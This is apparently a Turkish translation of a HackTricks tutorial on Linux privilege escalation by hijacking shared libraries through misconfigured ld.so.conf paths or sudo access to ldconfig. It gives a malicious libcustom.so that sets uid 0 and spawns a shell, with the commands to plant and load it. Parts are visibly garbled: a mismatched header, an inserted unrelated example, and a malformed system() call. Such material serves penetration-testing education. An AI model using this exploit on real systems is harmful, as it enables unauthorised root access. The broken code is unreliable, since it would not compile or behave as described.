ld.so privesc exploit example

AWS hacklemeyi sıfırdan kahraman olmak için htARTE (HackTricks AWS Kırmızı Takım Uzmanı) öğrenin!

HackTricks'i desteklemenin diğer yolları:

Ortamı hazırlayın

Aşağıdaki bölümde, ortamı hazırlamak için kullanacağımız dosyaların kodunu bulabilirsiniz

#include <stdio.h>
#include "libcustom.h"

int main(){
printf("Welcome to my amazing application!\n");
vuln_func();
return 0;
}

Bu dosya, özel bir kütüphane olan libcustom'un başlık dosyasıdır. Bu kütüphane, özel işlevler ve özellikler sağlamak için kullanılır.

#ifndef LIBCUSTOM_H
#define LIBCUSTOM_H

// Özel işlevlerin prototipleri burada tanımlanır
void customFunction1();
void customFunction2();

// Özel yapıların tanımları burada yer alır
typedef struct {
    int customField1;
    char customField2[20];
} CustomStruct;

#endif

Bu başlık dosyası, libcustom kütüphanesini kullanacak olan diğer programlar tarafından dahil edilir. Bu sayede, libcustom'un sağladığı işlevler ve yapılar kullanılabilir hale gelir.

#include <stdio.h>

void vuln_func();

Bu örnek, bir özel kütüphanenin nasıl yüklenip kullanılacağını göstermektedir. Aşağıdaki adımları izleyerek bu örneği uygulayabilirsiniz:

  1. Öncelikle, libcustom.c adında bir C dosyası oluşturun.

  2. Ardından, aşağıdaki kodu libcustom.c dosyasına yapıştırın:

#include <stdio.h>

void custom_function() {
    printf("This is a custom function\n");
}
  1. Daha sonra, libcustom.c dosyasını derlemek için aşağıdaki komutu kullanın:

gcc -shared -o libcustom.so libcustom.c
  1. Bu komut, libcustom.c dosyasını libcustom.so adında bir paylaşılan nesne dosyasına derleyecektir.

  2. Son olarak, ld.so.conf dosyasına aşağıdaki satırı ekleyin:

/usr/local/lib

Bu satır, /usr/local/lib dizinini paylaşılan kütüphane arama yoluna ekleyecektir.

  1. Artık libcustom.so dosyasını /usr/local/lib dizinine taşıyabilirsiniz.

Bu adımları tamamladıktan sonra, libcustom.so dosyasını kullanarak özel bir işlevi çağırabilirsiniz.

#include <stdio.h>

void vuln_func()
{
puts("Hi");
}
  1. Bu dosyaları aynı klasöre oluşturun

  2. Kütüphaneyi derleyin: gcc -shared -o libcustom.so -fPIC libcustom.c

  3. libcustom.so dosyasını /usr/lib dizinine kopyalayın: sudo cp libcustom.so /usr/lib (root yetkisi gerektirir)

  4. Yürütülebilir dosyayı derleyin: gcc sharedvuln.c -o sharedvuln -lcustom

Ortamı kontrol edin

libcustom.so'nun /usr/lib dizininden yüklenip yüklenmediğini ve ikili dosyayı çalıştırabildiğinizi kontrol edin.

$ ldd sharedvuln
linux-vdso.so.1 =>  (0x00007ffc9a1f7000)
libcustom.so => /usr/lib/libcustom.so (0x00007fb27ff4d000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fb27fb83000)
/lib64/ld-linux-x86-64.so.2 (0x00007fb28014f000)

$ ./sharedvuln
Welcome to my amazing application!
Hi

Sızma

Bu senaryoda, /etc/ld.so.conf/ içinde bir dosyada birisi zafiyetli bir giriş oluşturduğunu varsayacağız:

sudo echo "/home/ubuntu/lib" > /etc/ld.so.conf.d/privesc.conf

Zararlı klasör /home/ubuntu/lib (yazma erişimine sahip olduğumuz yer) içindedir. Aşağıdaki kodu indirin ve o yolu içinde derleyin:

//gcc -shared -o libcustom.so -fPIC libcustom.c

#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>

void vuln_func(){
setuid(0);
setgid(0);
printf("I'm the bad library\n");
system("/bin/sh",NULL,NULL);
}

Şimdi, hatalı yapılandırılmış yolun içine zararlı libcustom kütüphanesini oluşturduğumuza göre, bir yeniden başlatma veya kök kullanıcının ldconfig'u çalıştırmasını beklememiz gerekiyor (bu ikiliyi sudo olarak çalıştırabilir veya suid bit'e sahipse kendiniz çalıştırabilirsiniz).

Bu gerçekleştiğinde, sharevuln yürütülebilir dosyasının libcustom.so kütüphanesini nereden yüklediğini yeniden kontrol edin:

$ldd sharedvuln
linux-vdso.so.1 =>  (0x00007ffeee766000)
libcustom.so => /home/ubuntu/lib/libcustom.so (0x00007f3f27c1a000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f3f27850000)
/lib64/ld-linux-x86-64.so.2 (0x00007f3f27e1c000)

Gördüğünüz gibi, /home/ubuntu/lib'den yükleniyor ve herhangi bir kullanıcı tarafından çalıştırılırsa bir kabuk çalıştırılacak:

$ ./sharedvuln
Welcome to my amazing application!
I'm the bad library
$ whoami
ubuntu

Bu örnekte ayrıcalıkları yükseltmedik, ancak komutları değiştirerek ve kök veya diğer ayrıcalıklı kullanıcının zafiyetli ikiliyi çalıştırmasını bekleyerek ayrıcalıkları yükseltebiliriz.

Diğer yanlış yapılandırmalar - Aynı zafiyet

Önceki örnekte, bir yönetici /etc/ld.so.conf.d/ içindeki bir yapılandırma dosyasında ayrıcalıklı olmayan bir klasör ayarladığımızı taklit ettik. Ancak, aynı zafiyeti oluşturabilecek diğer yanlış yapılandırmalar da vardır, eğer /etc/ld.so.conf.d klasörü içinde veya /etc/ld.so.conf dosyasında bazı yazma izinleriniz varsa veya /etc/ld.so.conf.d içindeki bir yapılandırma dosyasında, aynı zafiyeti yapılandırabilir ve sömürebilirsiniz.

Sömürü 2

ldconfig üzerinde sudo ayrıcalıklarınız olduğunu varsayalım. ldconfig'a hangi yapılandırma dosyalarını yükleyeceğini belirtebilirsiniz, bu nedenle ldconfig'un keyfi klasörleri yüklemesinden yararlanmak için "/tmp" klasörünü yüklemek için gerekli dosya ve klasörleri oluşturalım:

cd /tmp
echo "include /tmp/conf/*" > fake.ld.so.conf
echo "/tmp" > conf/evil.conf

Şimdi, önceki saldırıda belirtildiği gibi, /tmp içinde zararlı bir kütüphane oluşturun. Ve son olarak, yolu yükleyelim ve binary'nin kütüphaneyi nereden yüklediğini kontrol edelim:

ldconfig -f fake.ld.so.conf

ldd sharedvuln
linux-vdso.so.1 =>  (0x00007fffa2dde000)
libcustom.so => /tmp/libcustom.so (0x00007fcb07756000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fcb0738c000)
/lib64/ld-linux-x86-64.so.2 (0x00007fcb07958000)

Görüldüğü gibi, ldconfig üzerinde sudo yetkilerine sahip olmak aynı zafiyeti sömürmenizi sağlar.

Eğer ldconfig suid bitiyle yapılandırılmışsa, bu zafiyeti sömürmek için güvenilir bir yol bulamadım. Aşağıdaki hata görüntülenir: /sbin/ldconfig.real: Can't create temporary cache file /etc/ld.so.cache~: Permission denied

Referanslar

AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin htARTE (HackTricks AWS Red Team Expert)!

HackTricks'i desteklemenin diğer yolları:

Last updated